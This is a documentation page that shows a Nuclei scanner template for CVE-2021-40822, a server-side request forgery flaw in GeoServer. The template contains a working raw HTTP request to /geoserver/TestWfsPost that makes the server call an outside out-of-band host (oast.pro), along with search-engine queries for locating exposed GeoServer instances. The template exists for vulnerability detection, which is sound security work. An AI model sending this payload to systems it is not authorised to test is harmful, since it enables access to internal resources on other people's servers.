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Geoserver - Server-Side Request Forgery

ID: CVE-2021-40822

Severity: high

Author: For3stCo1d,aringo-bf

Tags: cve2021,cve,ssrf,geoserver,osgeo

Description

Section titled “Description”

GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.

YAML Source

Section titled “YAML Source”
id: CVE-2021-40822


info:
  name: Geoserver - Server-Side Request Forgery
  author: For3stCo1d,aringo-bf
  severity: high
  description: GeoServer through 2.18.5 and 2.19.x through 2.19.2 allows server-side request forgery via the option for setting a proxy host.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Apply the latest security patches or updates provided by the Geoserver project to mitigate the SSRF vulnerability.
  reference:
    - https://gccybermonks.com/posts/cve-2021-40822/
    - https://github.com/geoserver/geoserver/compare/2.19.2...2.19.3
    - https://github.com/geoserver/geoserver/releases
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40822
    - https://osgeo-org.atlassian.net/browse/GEOS-10229
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40822
    cwe-id: CWE-918
    epss-score: 0.79068
    epss-percentile: 0.98269
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"GeoServer"
      - http.title:"geoserver"
    fofa-query:
      - app="GeoServer"
      - app="geoserver"
      - title="geoserver"
    google-query: intitle:"geoserver"
  tags: cve2021,cve,ssrf,geoserver,osgeo


flow: http(1) && http(2)


http:
  - method: GET
    path:
      - "{{BaseURL}}/geoserver/"


    stop-at-first-match: true
    redirects: true
    max-redirects: 3
    matchers:
      - type: word
        part: body
        words:
          - "geoserver.web"
          - "geoserverbasepage"
          - "GeoServer: Redirecting"
        internal: true
        case-insensitive: true


  - raw:
      - |
        POST /geoserver/TestWfsPost HTTP/1.1
        Host: oast.pro
        Content-Type: application/x-www-form-urlencoded


        form_hf_0=&url=http://oast.pro/geoserver/../&body=&username=&password=


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<b>Interactsh</b>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a9506e86b7e62d4dd79b1100a3148ae97b286e79a2987b141a01c46d6d76088b0220421bbfe77e6654c68288104da9dfec9e697abcd958b58f2020fdbce229d9894c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40822.yaml"

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